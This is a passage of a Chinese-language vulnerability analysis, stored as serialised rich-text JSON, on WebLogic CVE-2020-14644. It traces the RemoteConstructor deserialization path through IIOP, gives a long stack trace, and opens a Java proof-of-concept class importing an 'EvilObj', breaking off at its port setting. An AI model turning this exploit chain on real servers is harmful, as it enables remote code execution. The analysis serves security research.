{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wKXJ-1682255942887&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ywef-1682255942886&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return this.getBaseName() + \&#34;$\&#34; + this.getVersion();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fsoL-1682255942889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MESZ-1682255942888&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;typescript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yCHy-1682255942892&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7uEU-1682255942891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在defineClass时我们的classname需要与传入的字节码保持一致。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qq5E-1682255942894&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;50Ju-1682255942893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3lmd-1682255942896&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xTSp-1682255942895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;常规的IIOP调用流程，通过反射调用到com.tangosol.internal.util.invoke.RemoteConstructor的readResolve方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R9K5-1682255943122&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6654/WEBRESOURCE0c823caf655858c905585d4b0aff6ad4&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6654/WEBRESOURCE0c823caf655858c905585d4b0aff6ad4&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eXhc-1682255942899&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv94-1682255942898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;com.tangosol.internal.util.invoke.RemoteConstructor.readResolve()-&gt;newInstance()-&gt;realize()&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;417f-1682255942901&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9awn-1682255942900&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其中registerIfAbsent会根据Id检查是否有已经缓存过的ClassDefinition对象，若存在则不会重新进行defineClass操作：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ri2j-1682255943123&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6655/WEBRESOURCE6c0fc58fb43181bcd02d14eae1486125&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6655/WEBRESOURCE6c0fc58fb43181bcd02d14eae1486125&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z6Ly-1682255942904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q3lh-1682255942903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;接下来就是上文中分析过的defineClass与createInstance流程：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eDMt-1682255943124&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6656/WEBRESOURCEa47aafb46befa817337b527f48fae8e6&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6656/WEBRESOURCEa47aafb46befa817337b527f48fae8e6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EEcw-1682255942907&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YvJb-1682255942906&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s2Kj-1682255942966&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nNAJ-1682255942909&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nkZt-1682255942908&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;realize:142, RemotableSupport (com.tangosol.internal.util.invoke)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Itwf-1682255942911&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Hxu-1682255942910&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b19n-1682255942913&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CB3B-1682255942912&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lnde-1682255942915&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;86Wh-1682255942914&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeVirtual_L_L:-1, 479734028 (java.lang.invoke.LambdaForm$DMH)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ogPY-1682255942917&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A2U9-1682255942916&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;reinvoke:-1, 1608812768 (java.lang.invoke.LambdaForm$BMH)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p2AB-1682255942919&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0jhr-1682255942918&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke_MT:-1, 223025988 (java.lang.invoke.LambdaForm$MH)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uoRi-1682255942921&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zEt2-1682255942920&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readResolve:202, ObjectStreamClass (weblogic.utils.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IwAB-1682255942923&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JjUJ-1682255942922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readValue:88, ValueHandlerImpl (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PX5w-1682255942925&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z97R-1682255942924&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:1388, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6xrm-1682255942927&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gJjB-1682255942926&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:1247, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tPai-1682255942929&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dbsP-1682255942928&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value_internal:230, AnyImpl (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3JwS-1682255942931&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB8A-1682255942930&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_value:125, AnyImpl (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0lBb-1682255942933&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;he6A-1682255942932&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_any:1000, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kUVc-1682255942935&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VaQA-1682255942934&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read_any:992, IIOPInputStream (weblogic.iiop)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nhy8-1682255942937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WzKR-1682255942936&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;_invoke:87, _NamingContextAnyImplBase (weblogic.corba.cos.naming)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kB0k-1682255942939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dOG9-1682255942938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:249, CorbaServerRef (weblogic.corba.idl)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nzyd-1682255942941&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04AM-1682255942940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:246, ClusterableServerRef (weblogic.rmi.cluster)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zEEO-1682255942943&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oxGB-1682255942942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:534, BasicServerRef$2 (weblogic.rmi.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6NAh-1682255942945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K5JE-1682255942944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;doAs:386, AuthenticatedSubject (weblogic.security.acl.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qspy-1682255942947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VefJ-1682255942946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runAs:163, SecurityManager (weblogic.security.service)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BrFy-1682255942949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wu5W-1682255942948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;handleRequest:531, BasicServerRef (weblogic.rmi.internal)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yrxf-1682255942951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gFrc-1682255942950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:138, WLSExecuteRequest (weblogic.rmi.internal.wls)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WvU0-1682255942953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dDlb-1682255942952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;_runAs:352, ComponentInvocationContextManager (weblogic.invocation)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XMFY-1682255942955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iq74-1682255942954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runAs:337, ComponentInvocationContextManager (weblogic.invocation)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9wFa-1682255942957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Ei5-1682255942956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;doRunWorkUnderContext:57, LivePartitionUtility (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ck3E-1682255942959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WDPc-1682255942958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runWorkUnderContext:41, PartitionUtility (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tAIw-1682255942961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rzdi-1682255942960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;runWorkUnderContext:655, SelfTuningWorkManagerImpl (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;csqM-1682255942963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U6NT-1682255942962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:420, ExecuteThread (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mGyy-1682255942965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VvTx-1682255942964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:360, ExecuteThread (weblogic.work)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;csharp&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;esqq-1682255942968&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kbRC-1682255942967&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s5Ho-1682255942970&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ySf-1682255942969&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1aSV-1682255943085&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;M1GO-1682255942973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6NGR-1682255942972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.internal.util.invoke.ClassDefinition;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y8Ew-1682255942975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yTe0-1682255942974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.internal.util.invoke.ClassIdentity;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Bro-1682255942977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VvlT-1682255942976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.tangosol.internal.util.invoke.RemoteConstructor;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSWc-1682255942979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ARUC-1682255942978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javassist.CannotCompileException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9PET-1682255942981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wx4Z-1682255942980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javassist.ClassPool;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhn7-1682255942983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jDiA-1682255942982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javassist.CtClass;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1EDK-1682255942985&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HOCf-1682255942984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javassist.NotFoundException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0dFz-1682255942987&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rsS9-1682255942986&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.EvilObj;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zigN-1682255942989&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4fd1-1682255942988&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rowP-1682255942991&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X3Mx-1682255942990&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.Context;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Agce-1682255942993&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VBSt-1682255942992&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.InitialContext;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dsj1-1682255942995&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f78Y-1682255942994&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.naming.NamingException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ij9q-1682255942997&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LvGB-1682255942996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.IOException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hdyK-1682255942999&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SLcX-1682255942998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Hashtable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I99Y-1682255943001&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fz1B-1682255943000&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rZRb-1682255943003&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;X5ch-1682255943002&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2020_14644 {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ex4j-1682255943005&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vBnk-1682255943004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws IOException, CannotCompileException, NamingException, NotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SQYM-1682255943007&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pCAH-1682255943006&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0oOd-1682255943009&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oBYv-1682255943008&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String ip = \&#34;127.0.0.1\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QipC-1682255943011&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EZTb-1682255943010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String port = 